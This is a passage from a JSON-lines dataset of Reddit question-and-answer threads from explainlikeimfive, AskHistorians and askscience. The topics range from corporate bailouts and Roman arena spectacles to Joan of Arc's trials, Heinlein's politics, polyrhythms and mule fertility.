grow than to not be dependent on a bailout.", "The simplest answer is that capitalism relies only on the short term because they believe (incorrectly) that profits can grow infinitely. If you aren't growing you are failing. This hubris will eventually cause the collapse of the economy because infinite growth is simply not possible. If anything this pandemic might finally drive this point home and trigger a paradigm shift to something more sustainable.", "Im not sure what kind of number your thinking though. I mean as a private citizen (let's say professional working class) any more than 20k of liquid cash sitting around is absurd, any more should at least be in short term instruments to maximize their value. I think the real difference is the way a house runs vs how a company runs. A home budget and generally be gleaned. Even a medium sized company will have a running cascade of money coming in and money going out, while you can glean an overall budget frame from that data it's hard to pin down the ups and down of \"shit happening\" days.", "Pick a random business.  Say you make paper cups for restaurants.  You are the president of this company and you need to figure out how much you should have in cash reserves.  What are all the potential risks you face?\n\nYou will be making that list for the better part of two full days before you get to \"global pandemic that closes all restaurants\" immediately followed by\"alien invasion\". \n\nFor 99% of the risks you face having three months of operating cash on hand will be a complete protection.  For the other 1% you have no idea what you would need if there was a super volcano eruption or North Korea launched nuclear missiles at America.  \n\nBut having one month of operating cash on hand would cover you for 90% of risks.\n\nHow much should you have?  Most businesses basically said 1 to 3 months.\n\nWell now we are talking about 18 months.  They won't make it.  Almost no one will make it. And it really isn't bad planning it's just a black swan event.", "They don't. Stock holders, investors, and owners tend to bleed all the profit instantly out of the company. The companies are cash poor beyond what bills they have to pay. Often they run on borrowed money. Because their wealth is basically just **potential wealth**, instead of actual cash, they take loans to run the business and just keep paying them back constantly. Which works as long as the business keeps growing and things are profitable. The growth has to be at least as much as the interest of their loans. Big corporations and small business don't work with the same logic or rules.  \n\n\nLike. Imagine you take a loan to pay for a home. As long as you keep pay the interests and the value of the home keeps growing. You are able to pay back that loan by selling the home. You have potential wealth, since a home isn't actually cash that you can pay anything with.   \n\n\nIt makes sense to invest every cent you got, as long as it keep bringing profit. Money sitting in the bank account doesn't bring growth, just like seeds in storage don't grow a crop. But if you plant those seeds and the crop fails, then you have less seeds and no growth.", "Some do and some don't.\n\nIn finance there are two competing phrases; \"cash is trash\" and \"cash is king\". These are often taught and discussed at the same time. The former is because cash generally has a very low rate of return. You can collect interest and that generally sucks. The later is partly because of what we're witnessing now and partly because you never know when there's going to be a great investment opportunity that you need cash to take advantage of. (In this case I'm talking less about stock investing and more about things like the opportunity to do something like build a new factor or open a new store).\n\nHow much cash a particular company keeps on hand depends on many things but it's basically a question of how good the opportunities are to do something better with it than just sitting around collecting interest and how much cash they collect in the first place.\n\nBut even for companies that have a lot of cash there are things that can drive them to run out very quickly. In particular, if you have very high fixed costs (real estate is generally the big one but equipment can also be up there) and low margins. Airlines are a great example. They do have a bunch of variable costs that they can easily cut when people fly less; they don't need fuel for planes sitting on the ground and they can furlough employees. But planes are really expensive and they'r almost always bought with loans (just like very few people pay cash for their house). When the plane is sitting around they still have to make payments on those planes but they're not taking in any more income.", "ELI5:\n\nLet's say your parents said:\n\nYou're now a grownup, you should learn responsibility, have some allowance, but save some of your money to get what you want, don't spend it all on candy. (Repeal of Dodd-Frank, and other corporate governance laws).\n\nThen you spend it all on candy (pre 2008)\n\nSuddenly Nintendo announces Switch Marvel vs DC edition. You really want it. No one would have expect it to happen, it's a sudden announcement, and there will be only 100 of those. (Crisis)\n\nSo you go to your Parents, and they ask \"did you save any money like we told you to?\"\n\nand you'd say: \"No I did not.\"\n\nand your parents would say: \"It's okey, we'll buy you the new switch anyway!\" (Bailout)\n\nTell me, would you now save your money, or would you eat candy like there's now tomorrow, knowing that next time the Christmass(Crisis) comes parents (Goverment) will buy you a bike anyway?\n\n & #x200B;\n\n\\--- End of ELI 5 ---\n\nGrown up talk now:\n\nThis is called \"Moral Hazard\", and this is what politicians thought sociopaths that run big corporations - take all the risk you want, eat your profits, if things get tough, we'll just tax citizens to give you more money, because ... jobs I guess? Make them pay to work now!", "Money isn't very useful just sitting there. If it is reinvested in the company, it will grow faster than the interest rate. Or it can be used to repay debts. \n\nIf a company needs money, most of the time it can borrow it. Not always possible, but investors are usually happy with the risk since they spread the risk over hundreds of companies.", "A lot of people have answered this but It\u2019s missing a little bit of context that I think is important.\n\nCompanies do have cash on hand at various levels to pay their bills similar to normal households. Levels can vary depending on industry but most try to keep a few months expenses on hand again similar to households.\n\nThe issue that comes into play is that in order for a company to remain competitive companies must continue to innovate and create new and better products, otherwise their competition will develop a better product. The prime example of this can include Blockbuster who had the opportunity to buy Netflix but decided their cash was more important and eventually went out of business because Netflix overtook their market. When big companies lose a large enough share of the market to competitors, revenue shrinks, which leads to laying off people to remain profitable/cash flow positive. Eventually the company can lose all of its business and it has to shut its doors. Under pure capitalism, this sucks, but people will find new jobs and new companies will fill any gaps of demand.\n\nThe real issue here is that some of these companies have gotten so big and integral to our infrastructure that to let them fail would have significant consequences to the consumer. Using airlines as an example, sure we could let them all fail and not bail them out; however, the first impact will be felt by the thousands of people who will be laid off and will need to find new jobs. Counter arguments usually state that that\u2019s okay, because they\u2019ll be able to work for the new companies that replace the old ones to fill demand; however, it takes a very long time to build a new company up to have the resources and capabilities that the old company had. Furthermore the secondary and much scarier consequence of letting them fail is that foreign firms who were bailed out end up replacing these companies. This is an issue because 1) foreign firms will charge higher prices than what we were being charged to account for additional taxes and additional overhead expenses running a firm internationally and 2) until a new domestic competitor comes into play we have to rely on a foreign firm who has different allegiances/responsibilities than our own for a product or service.\n\nThe issue of corporate bailouts is not as black and white as it seems. I am not a proponent of stock buybacks, excessive risk taking, and exorbitantly unearned executive bonuses/payouts. Companies, like people, should moderate their risk reasonably. In my opinion, it\u2019s going to be necessary to bail these companies out; however, the government should have strict strings attached to those bail outs up to and including government ownership of stock until the company complies with all of the strings attached. Stock buy backs should either be illegal or heavily regulated in the future to prevent overspending of cash reserves and companies who own non-cash investments should be required to hold reserves of cash similar to insurance companies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "eu01mb", "title": "Did Nero really flood an arena with salt water and set polar bears to fight against seals? How would Romans have gotten polar bears?", "selftext": "This was mentioned in passing on page 37 of \"Nature: Western Attitudes since Ancient Times\" by Peter Coates", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/eu01mb/did_nero_really_flood_an_arena_with_salt_water/", "answers": {"a_id": ["ffjqtk0"], "score": [24], "text": ["Yes, he could have done, though probably fresh water, since that's what would have been available from the Tiber- we have references to the diversion of these waters to pools for these spectacles in the works of a civil engineer, Sextus Julius Frontinus\n\nIn the ancient world the practice of staging *naumachia* \\-- sea battles -- for entertainment is well attested. We have references to such spectacles staged by Caesar and Claudius as well as Nero.\n\nAs to the animals provided-- we've got evidence of entrepreneurs and the military scouring the Earth for animals to entertain Roman audiences, and we've got references to astonishing numbers of animals used:\n\n > in 55 BC Pompey gave venationes with 600 lions, 410 leopards, some apes, a lynx,  a rhinoceros and twenty elephants (Cassius Dio XXXIX, 38, 1-4; Cicero, Epistulae ad  familiares VII, 1, 3; Pliny, Naturalis historia VIII, 7, 20-1). At Probus' venatio in AD 281  more than 3000 ostrich, deer, boars and other herbivores, 400 big cats and 300 bears were  killed (Scriptores Historiae Augustae, Probus 19, 4-8). The largest number of animals  killed was some 11,000 over 123 days at Trajan's triumph in 108-9 BC (Cassius Dio  LXVIII, 15, 1).\n\nWhile bearing in mind that we've got no way to verify these numbers, and that there's lots of reason to imagine exaggeration-- it's also clear that Romans liked this kind of entertainment. Rome's appetite for animals is considered responsible for the depletion of several lion populations.\n\nThe reference to seals and polar bears is likely is coming from Calpurnius Siculus:\n\n > aequoreos ego cum certantibus ursis spectavi vitulos\n\n. . .and that's not really specific as to species. I'm also a bit skeptical because when the Romans had a really unusual animal, there's a lot of discussion about it. Martial and others discuss the rhinoceros, which made a real impression and appears on one of [Domitian's coins](_URL_0_). If they'd really had a polar bear (maybe traded by Germans from Norway?)  and it had survived the journey to Rome (unlikely) I'd have thought it would have gotten more attention. We have some evidence for specialized lion and bear hunters, they'd have known if they had something unusual, and have gotten a premium price for it.\n\nI might also mention that Tacitus records one of the more spectacular episodes of Nero\u2019s debauchery, also set in a pool, in the Annals.   Tacitus is generally considered a solid source, and if you believe any of what he says to be true, then Nero was not only staging naval battles, he was partying very hard in the pool.\n\nSee:\n\nTaylor, Rabun. \u201cTorrent or Trickle? The Aqua Alsietina, the Naumachia Augusti, and the Transtiberim.\u201d *American Journal of Archaeology*, vol. 101, no. 3, 1997, pp. 465\u2013492.\n\nLindstr\u00f8m, Torill Christine. \u201cThe Animals of the Arena: How and Why Could Their Destruction and Death Be Endured and Enjoyed?\u201d *World Archaeology*, vol. 42, no. 2, 2010, pp. 310\u2013323.\n\nColeman, K. M. \u201cLaunching into History: Aquatic Displays in the Early Empire.\u201d *The Journal of Roman Studies*, vol. 83, 1993, pp. 48\u201374.\n\nTownend, G. B. \u201cCalpurnius Siculus and the Munus Neronis.\u201d *The Journal of Roman Studies*, vol. 70, 1980, pp. 166\u2013174.\n\nDeane R. Blackman and A. Trevor Hodge. Frontinus' Legacy: Essays on Frontinus' \"De aquis urbis Romae.\" (University of Michigan  Press, 2001)\n\nEpplett, Christopher. \u201cThe Capture of Animals by the Roman Military.\u201d *Greece  &  Rome*, vol. 48, no. 2, 2001, pp. 210\u2013222."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.ancient.eu/img/r/p/750x750/7979.jpg?v=1569518599"]]}
{"q_id": "2cid7e", "title": "why do i have to remove my credit card quickly?", "selftext": "Why is that necessary for some readers but not others?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2cid7e/eli5_why_do_i_have_to_remove_my_credit_card/", "answers": {"a_id": ["cjfriqq", "cjft0wv"], "score": [4, 11], "text": ["The reader is calibrated to read the card at a certain speed. If you don't tell people to 'pull it out quickly' they try to pull it out slowly, thinking they are helping the reader do its job. In fact, they are making it harder for the reader to read and less likely that it will succeed.", "Credit cards work on the principle of magnetic induction, which requires a changing magnetic field, such as one caused by the motion of a magnet, in order to create electric current. If you move the card too slowly, the electric current it generates is too weak."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "fm9ivk", "title": "Regarding the two trials of Joan of Arc: what are the testimonies in favor of Joan in the 1st trial? Are there any dishonest testimonies in the 2nd trail?", "selftext": "Just want to know more details regarding the two trials, as these two trials are predestined, so sometimes I'm wondering about it authenticity. Especially I want to know:\n\n1. What are the testimonties in favor of Joan in the 1st trial - these kind of testimonies in that context will be more trustable;\n2. Are there any dishonest testimonies in the 2nd trail? Especially those in favor of her.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fm9ivk/regarding_the_two_trials_of_joan_of_arc_what_are/", "answers": {"a_id": ["fmrzrjg"], "score": [5], "text": ["OK, so using the trial sources for Joan and Joan's life is a pretty complex and fraught procedure, so let's get a few things out of the way. Firstly, by the \"1st and 2nd trials\" I'm going to assume you mean the Trial of Condemnation (Feb - May 1431) and the Trial of Nullification (1455 - 1456). There is technically a third 'trial', that of her canonisation hearing, which took place in the early C20th, but as it's not really a 'trial' in the conventional sense (except when it is), I'm guessing it's not what you're talking about here.\n\nSecondly, by \u201cpredestined\u201d, I\u2019m assuming you mean the outcome of the trial was a foregone conclusion \u2013 i.e. that Joan would be convicted in the Condemnation Trial, and exculpated in the Nullification Trial, regardless of the actual evidence? You\u2019re not necessarily wrong here, but it\u2019s worth bearing in mind that while the motivations of the trial instigators (the Anglo-Burgundian alliance and the French, respectively) had definitive outcomes that they were looking for, there were other factors at play. For instance, Pierre Cauchon was Bishop of Beauvais and one of the presiding judges at the Condemnation Trial. He was firmly partisan towards the Anglo-Burgundian party, but we can\u2019t forget that he had his own irons in the fire. For him, as Helen Castor has suggested, the trial was a good opportunity to demonstrate his own zeal and aptitude at prosecuting heresy, and thus earn himself a promotion to archbishop. From this point of view, Joan\u2019s \u2018relapse\u2019 into heresy and resulting execution was the less desirable outcome \u2013 it\u2019s easy to be cynical about medieval religious figures, but we shouldn\u2019t dismiss a genuine concern for the cure of souls. \u201c\\[the trial\\] was a chance to save a soul and a life, as well as vindicate the kingdom to which he \\[Cauchon\\] had devoted his career.\u201d In this rather pithy summary, Castor captures the fact that there were several rather varied agenda going on at the Condemnation Trial, and that while a \u2018guilty\u2019 verdict was never really in doubt, the exact route to get there and the form it would take were by no means predetermined.\n\nSo, on to your questions.\n\n**Testimonies in favour of Joan at the Condemnation Trial**\n\nIn short, there weren't any, because there weren't any testimonies of any kind as part of the trial. Instead, the trial consisted of lengthy examinations of Joan herself by a panel of judges and theologians, who questioned her about all aspects of her life, beliefs and actions. Having said this, we can infer that the judges had done some preliminary work and questioning before the trial. As Taylor points out, they refer on several occasions to the 'Fairy Tree', a feature of Joan's childhood at Domremy, as well as other events that would require diligent questioning and exploration in order to have enough information and context to deploy in a legal setting.\n\nSignificantly, the procedures for bringing a heresy accusation to trial in the medieval period involved proof of *fama publica* \\- widespread fame and ill reputation. This was primarily a device adopted by the C12th inquisitional tribunals to prevent false and malicious accusations taking more time than necessary, but it held true through into the C15th. With this criteria in mind, it is odd that no testimonies either for or against Joan were presented. Taylor suggests two reasons for this:\n\n* That the prosecutors could not find anyone who would give evidence against Joan, whether due to loyalty or fear.\n* That the prosecutors did not find it necessary to prove the *fama publica*, based on Joan's      already infamous status.\n\n1/2"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "33yxb5", "title": "why is oskar groening standing trial.", "selftext": "Two part question.\n\nFirstly, why is Oskar Groening being tried for his role at Auschwitz now? It's my understanding that he has spoken openly against Holocaust deniers for years now and has made no secret of what he did during the war. Why now instead of when he first went public?\n\nSecondly, why is he being tried at all? Please note, I am not trying defend him here at all but when I first heard of him I assumed he would be tried at the ICC. Instead, he is being prosecuted by the German state. Again, I feel it's important to stress that I'm neither condoning his actions nor saying he shouldn't be tried but, ultimately, he's being prosecuted by the same state that ordered him to perform these tasks in the first place. Yes, the circumstances are vastly different but to me a good example would be if the Crown had prosecuted someone like Henry Allen for all the hangings he'd taken part in after the UK abolished capital punishment. Can anyone help me understand this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33yxb5/eli5_why_is_oskar_groening_standing_trial/", "answers": {"a_id": ["cqpoeh5"], "score": [3], "text": ["This is actually a very difficult question to answer.\n\n* One reason he is tried now is because 65 people got together who have been in Auschwitz or other camps to form a lawsuit against... well someone who was at least somewhat important.\n\n*  The charges against him is also based on his role in the financial system of the nazis, which was not possible before 2010 because it was not seen as a major assistance in the Holocaust.\n\n* Most of the german media says that the trial is more show than an actual trial against a specific person for what he/she did. Based on his age it is unlikely that case will be closed before his death.\n\n* Why is he tried at all after more than 70 years ?? the simplest answer to this is \"Don't think you will get away with what you did\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "83psgp", "title": "Did Robert Heinlein advocate the society portrayed in Starship Troopers? Do we know anything about his political ideology?", "selftext": "When i try to find information about Heinlein's political opinions i get all kinds of claims. Socialist, libertarian and fascist. \n\nIs calling Heinlein fascist something that comes from Verhoeven's adaption only, or is the book itself considered to have fascistic traits?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/83psgp/did_robert_heinlein_advocate_the_society/", "answers": {"a_id": ["dvjrayu"], "score": [311], "text": [" >  When i try to find information about Heinlein's political opinions i get all kinds of claims. Socialist, libertarian and fascist.\n\nHeinlein's political opinions were not static throughout his life. He started out as a fairly liberal Democrat, working to get Upton Sinclair elected Governor of California in 1934 and part of the the EPIC (End Poverty in California) movement. As he got older, as Socialism became more criticized during the \"Red Scare,\" his views pivoted a bit more toward conservative - although this was not conservatism exactly as we know it today. He was an early advocate of racial equality, for example, and put non-white characters (like Johnny Rico - a Filipino - in *Starship Troopers*), a lifelong proponent of free love, and an agnostic. Having served in the military from 1929-1934, he had a lifelong appreciation for military service, organization, and discipline, but he was never a rabid nationalist or allergic to the idea of international cooperation - several of his stories, including *Starship Troopers*, include a one-world government.\n\nThe emphasis he places in his fiction on personal ability and economic independence are the key hallmarks that align Heinlein with libertarianism, and he did describe himself as a libertarian. Heinlein's political opinions are probably most boldly expressed in an interview he gave with J. Neil Schulman, which you can read in [The Robert Heinlein Interview and Other Heinleiniana](_URL_0_)\n\n >  Is calling Heinlein fascist something that comes from Verhoeven's adaption only, or is the book itself considered to have fascistic traits?\n\nVerhoeven's 1997 adaptation of *Starship Troopers* is openly a work of satire. The people of color that originally populated the novel are replaced with attractive white people, the uniforms for the Intelligence officers are deliberately modeled off the Nazi S.S., the commercials embedded in the film, like in Verhoeven's *RoboCop* (1987) are there to highlight the propaganda and militarism that drives the society. I would recommend Daniel Podgowroski's [Poking Fun at Militarism: How Paul Verhoeven\u2019s Cult Classic Starship Troopers Willfully Discards Robert Heinlein\u2019s Novel](_URL_2_) to get an idea of how many liberties Verhoeven took with the material - and why.\n\nBut what you don't quite see in either Verhoeven's adaptation or in Heinlein's original model is a dictatorial cult, which is one of the key hallmarks of fascism, nor is there a focus on a specific nationality - although there is a kind of species-ism. Political power and authority in the society is centralized around the military, but not an individual. It is a one-party state where the state is the world, and the party is the military. It is also essentially a democracy, even if only a subset of the population has the right to vote. There is more to that, and people still argue the details today. I would recommend Everett Carl Dolman's \"Military, Democracy and the State in Robert A. Heinlein's Starship Troopers\" in [Political Science Fiction](_URL_1_) as a starting point.\n\nThe thing about trying to identify fascistic elements in *Starship Troopers* is that you have to look at *when* it was written: 1959, a generation after World War II, Hitler and Hiroshima, and the final dissolution of many of the old empires, but in the middle of the Cold War with Russia, where proxy conflicts like the Korean War (1950-1953) and Vietnam War (which began in 1955) still ongoing, but with a very different reaction on the home front, with rising attitudes of civil unrest and distrust of government which was being expressed by the Beat Generation, the Civil Rights Movement, and other civil conflicts both in the United States and abroad. So when you look at that, and try to pull together the threads for a utopian society, you have to realize that the society he was prognosticating was to address the problems of his era - and in the 1950s, militarism was not automatically associated with fascism, the restriction of the right to vote to a certain cadre of citizens on *merit* rather than *race* was a large departure from racial segregation, and echoed some of the same attitudes expressed in the fiction of Ayn Rand, particularly *The Fountainhead* (1943).\n\nI don't want to get into the details of the libertarian or Objectivist talking points here, because this is r/AskHistorians not r/politics or r/AskScienceFiction, but it is very important to understand these stories and philosophies *as* products of their historical periods, not as stories that could be written or received the same way today."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.worldcat.org/title/robert-heinlein-interview-and-other-heinleiniana/oclc/42842029", "http://www.worldcat.org/title/political-science-fiction/oclc/751769650", "http://thegemsbok.com/art-reviews-and-articles/thursday-theater-starship-troopers-paul-verhoeven-robert-heinlein/"]]}
{"q_id": "a28zf8", "title": "what is a polyrhythm?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a28zf8/eli5_what_is_a_polyrhythm/", "answers": {"a_id": ["eaw4pqw", "eaw9zu1"], "score": [3, 5], "text": ["When two appropriately timed beats oppose eachother slightly so that they seem to phase on and off of beat. ", "A 2-over-3 polyrhythms is when 3 of one time unit takes up the same amount of time as 2 of another time unit.\n\n    1\u2014\u2014\u20142\u2014\u2014\u20143\u2014\u2014\u20141\u2014\u2014\u20142\u2014\u2014\u20143\u2014\u2014\u20141\u2014\u2014\u20142...\n    1\u2014\u2014\u2014\u2014\u20142\u2014\u2014\u2014\u2014\u20141\u2014\u2014\u2014\u2014\u20142\u2014\u2014\u2014\u2014\u20141\u2014\u2014\u2014\u2014...\n\nImagine walking left to right at a constant speed along the \u201cruler\u201d above, hitting a table with your left hand when you reach a number on the top, and using your right hand when you reach a number on the bottom. When you\u2019ve done one pattern, your left hand will have gone through three smaller time intervals, while your right hand will have gone through two longer time intervals.\n\nInstead of literally thinking about two things at the same time, it\u2019s usually much easier to think about the *composite rhythm* that the two form together. Think about rhythm of the Christmas tune \u201c[Carol of the bells](_URL_0_)\u201d\u2014the one that goes \u201cbah badabam, bah badabam....\u201d. This is exactly the composite rhythm of the 2-over-3 polyrhythm we looked at above: the third note in that pattern is halfway between the second and third beats, and so it\u2019s halfway through the pattern.\n\nIf you start by saying \u201cboth rightleftright, both rightleftright, both rightleftright...\u201d over and over in that same \u201cbells\u201d rhythm, then slowly trying to translate it to tapping with your hands, you will have done a 2-over-3 polyrhythm!\n\nThis same thing can be done for any numbers: you could imagine a 3-over-4 or 5-over-4 in the same way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/tdTY6IpIG_g"]]}
{"q_id": "3g0zk8", "title": "why do we have a holocaust museum in the us but not a slavery museum?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3g0zk8/eli5why_do_we_have_a_holocaust_museum_in_the_us/", "answers": {"a_id": ["ctts6xd", "cttsap6", "cttse9l", "cttukrp", "cttvwn9", "cttxdwj", "ctu2np2", "ctu70mt", "ctu865c", "cudk5uv"], "score": [116, 15, 3, 44, 8, 2, 13, 2, 2, 2], "text": ["There are actually a lot of historically preserved plantation houses and slave quarters all over the south, where educational trips happen regularly. ", "Slavery was more widespread, both geographically and time-wise -- ergo, there are multiple places throughout the country that have historical sites devoted to slavery and the Underground Railroad, rather than a single building.", "Because it is much easier to get funding for a museum where someone else was the bad guy and you were the good guy.\n\n", "We have the [National Underground Railroad Freedom Center](_URL_0_) which is currently displaying a signed copy of the Emancipation Proclamation. It receives nearly a million dollars a year from government grants (on top of over $5M from other sources). ", "There actually kind of is. In detroit there is the [Charles H. Wright Museum of African American History](_URL_0_) which has an area on slavery; however it focuses on much more than that.", "I would like to see Emancipation Day (April 16) become a national holiday. Right now it's only observed in DC.", "There is a Smithsonian African American History Museum under construction right now on the Mall in Washington DC. I missed the preview at the American History Museum by one day. I think it will do a good job of covering African American slavery since the Smithsonian museums in DC are all amazing beyond compare. ", "Okay, take two (automoderator deleted my previous post):  There is a Black Holocaust Museum (online and soon to be brick-and-mortar in Milwaukee, Wisconsin) and it was founded in 1984 by Dr. James Cameron, the only known survivor of a lynching.  Check it out, lots of material.\n\n_URL_0_", "I'm sure native americans would be surprised to hear the justification for a holocaust museum and not a \"Genocide of the First Nations\" museum, library, and remediation center.", "Copy and paste from another discussion -\n\nSorry that you are unaware. I will provide a few, but I don't have the time to list every one in the US. Are you aware that you can use the internet to find information on a variety of topics? \n\nThe Old Slave Mart Museum, Charleston, SC \n_URL_0_\n\nLest We Forget Black Holocaust Slavery Museum, Philadelphia, PA _URL_4_\n\nNational Underground Railroad Freedom Center, Cincinnati, OH _URL_2_\n\nJim Crow Museum, Big Rapids, MI _URL_3_\n\nThe River Road African American Museum, Donaldsonville, LA _URL_1_\n\n(RIGHT DOWN THE ROAD FROM THE WHITNEY).\n\nSlave Relic Historical Museum,  Walterboro, SC \n_URL_5_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.freedomcenter.org/"], ["https://en.wikipedia.org/wiki/Charles_H._Wright_Museum_of_African_American_History"], [], [], ["http://abhmuseum.org/"], [], ["http://www.nps.gov/nr/travel/charleston/osm.htm", "http://www.africanamericanmuseum.org/", "http://freedomcenter.org", "http://www.ferris.edu/jimcrow", "http://lwfsm.com", "http://slaverelics.org"]]}
{"q_id": "6iz5cx", "title": "minneapolis and st. paul are two major cities of small land areas in the same state that border each other. is there any good reason they can't combine like the new york boroughs did in 1898?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6iz5cx/eli5_minneapolis_and_st_paul_are_two_major_cities/", "answers": {"a_id": ["djad07q", "djafzik", "djapvv5", "djarj4u", "djarway"], "score": [6, 2, 3, 2, 2], "text": ["No. There is no practical reason why they cannot combine. If you watch \"Gangs of New York,\" you can see practical reasons why combining police forces and having uniform laws are a plus. Then again many urban areas have separate governments separated by bodies of water.\n\nState government has a lot to do with the decision to do this. State laws regulate a lot of things. A state legislature can make combining an advantage or a disadvantage.", "It could, but like Long Island City in NYC, it would still be considered St. Paul by those who live there. While it may not exist as a legal entity, its cultural and societal differences will remain.", "St. Paul is the seat of government for Minnesota and Minneapolis is the largest population volume in Minnesota. Combining them would be simple in terms of thought. However the city codes, police fire, policy and budgets would be a disaster. When New York did it was simpler but still a challenge. Now the obstacles such as tax codes would be overwhelming. That and someone would have to give up there government appointed or elected seat to someone in the other city. Just wouldn't happen. ", "Why they \"can't\" combine? No, that is a well-established practice. As for why they would not want to, I can't speak to Minnesota specifically but there could be a lot of reasons. The Los Angeles area is packed with a ton of smaller cities - Long Beach, Inglewood, Compton, Santa Monica, etc are not just neighborhoods but distinct municipalities. This allows them a lot more control over their local policing, laws, and school districts then they would be if they joined Los Angeles. Some of those small cities exploit these benefits - Inglewood cut a separate deal to bring the NFL into their city and others still allow gambling, which would not be allowed if they joined LA.", "That river is a magically boundary that should not be crossed. My wife is a physician and has taken care of people from St. Paul at a MPLS hospital that sobbed about being admitted to a MPLS hospital because no one would come visit. \n\nThis not likely to change any time soon. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1m8f3e", "title": "why are braces socially acceptable while other cosmetic procedures such as nose jobs are more often looked down upon?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1m8f3e/eli5why_are_braces_socially_acceptable_while/", "answers": {"a_id": ["cc6qvro", "cc6qwiq", "cc6rn6w", "cc6sizk", "cc6tbso", "cc6vjrd", "cc6yaai", "cc70ezg", "cc718la"], "score": [66, 15, 47, 29, 5, 4, 2, 2, 3], "text": ["Braces fix real problems. Other types of cosmetic surgeries like you mentioned seem to fix insecurities.", "Dental hygiene is different from just looking attractive.", "Improperly alined teeth are more prone to cavities and plaque buildup than properly aligned teeth. Also, it can be hard to chew foods if your teeth aren't lined up to handle the pressure that your mandible exerts upon them and the food. So, braces aren't just aesthetic, they're functional. \n\nEdit: Aligned.", "As everyone already said: braces do not only fix aesthetic, but also functional flaws of your teeth. \n\nThere are plastic surgeries which are considered acceptable, for example a rhinoplasty if the septum of the nose is askew and makes breathing difficult. Or a breast being restored with silicone after breast cancer. A tummy tuck after massive weight loss. A painful lipedema gotten rid of by liposuction. Even plastic surgery of the pubic area can have medical reasons, for example if too big labia hurt and chafe during intercourse and get inflamed and itchy repeatedly.\n\nBut most plastic surgeries and procedures - Botox injections, boob jobs of perfectly fine breasts, rhinoplasty of a perfectly fine nose, anal bleaching, butt, chin and cheek implants, face lifts and rubber boat lips - are for reasons which are considered rather shallow and completely unneccessary, and many of them don't even make people look better.\n\nE: Typing. I'm doing it wrong.", "When I went to school people got slagged rotten for braces. I don't think that was unique to us either. I remember a Simpsons episode about Bart or Lisa not wanting to have braces for that reason. ", "Having bad teeth that are hard to clean and get rotted easily can lead to death or serious complications. Having an unsightly nose does not tend to kill you.", "It depends on what the purpose is.  Braces improve dental health so it's seen as a positive.  Nose jobs are often looked down upon because they are generally used to make somebody more attractive.  A friend of mine had a nose job but that was because he had an issue causing him to have trouble breathing through his nose, so he had it fixed.  Nothing wrong with that, it's when people do it to become more attractive.", "Not all nose jobs are looked down on.", "I would say it's because getting braces helps with dental health.. healthly teeth means a healthier you.. a nose job 9/10 times is not for health reasons."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "18d02o", "title": "Mules are (generally) sterile.  If they could breed, they would be considered a new species.  Is it possible that one day a mule will simply mutate that ability and be the start of a mule species?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18d02o/mules_are_generally_sterile_if_they_could_breed/", "answers": {"a_id": ["c8dpjzd", "c8dpqcx", "c8dqes3", "c8dqgcc", "c8dqthe", "c8drqrp", "c8drvo4", "c8dul0y", "c8dup3k", "c8duxfa", "c8e11ql"], "score": [529, 15, 12, 59, 3, 11, 2, 5, 13, 2, 2], "text": ["The reason mules are infertile is because horses and donkeys (the parents) have differing number of chromosomes (64 and 62 respectively) giving the mule 63.  This number prevents proper alignment and segregation during meiosis, and thus leads to non-fertile gametes (if any).  \nIf I were to speculate, a mule could have a chromosome split up, or two chromosomes could fuse, but it is probably a very low chance of occuring, and that explains why there have been no reports of a fertile mule (something that could also be due to people not actively trying to find it).", "Theoretically, this is probably possible, but it's difficult to say for sure. According to Wikipedia '[t]here are no recorded cases of fertile mule stallions, [but] a few female mules have produced offspring when mated with a pure-breed horse or donkey'. Because fertile male mules are so rare (if they even occur), there is the problem of what the offspring of a second generation mule (if they were even fertile) would mate with? Any founding mule population would be very small, and probably all related. Very small closely related populations suffer two major problems: recessive disease and susceptibility to infectious disease. So prospects for such a species would not look good, from the start.\n\nHowever, if a group of people devoted a lot of time and effort (and it would probably take lots of both) to producing such a species, it could be possible. Though I'm not sure why you'd want to.", "If mules could breed, they would not be a new species.  They would simply be a hybrid between donkeys and horses.\n\nFertile hybrids between various species exist in nature, often where the ranges of closely-related species overlap.  Wolf-coyote hybridization is common in some areas where there is significant overlap in ranges, for example.", "They would still only be considered hybrids.  There are other hybrids which can produce fertile offspring, such as [Savannah Cats](_URL_0_) (serval x domestic cat),  but they are not considered to be a new species.", "_URL_0_ here is an article I found that might be relevant", " >  If they could breed, they would be considered a new species.\n\nNo that's not true. If mules and hinnies could easily breed then donkeys and horses would not be considered different species but would instead be subspecies.", "At the moment mules are still a hybrid and are not considered a own species of various of reasons you can read in other threats above. But in the future it is possible that mules will evolve to a new own species. this is own of many mechanisme for evolution to apply. the possibility of that happened is still quite small and is dependent mostly on human influence in mules breeding. and not like in most evolution process where geographical change, like mountains and river creation leading to a geographical separation of the species or the adaptation to new niches.", "It's ironic you are talking about a mule creating a new species because a 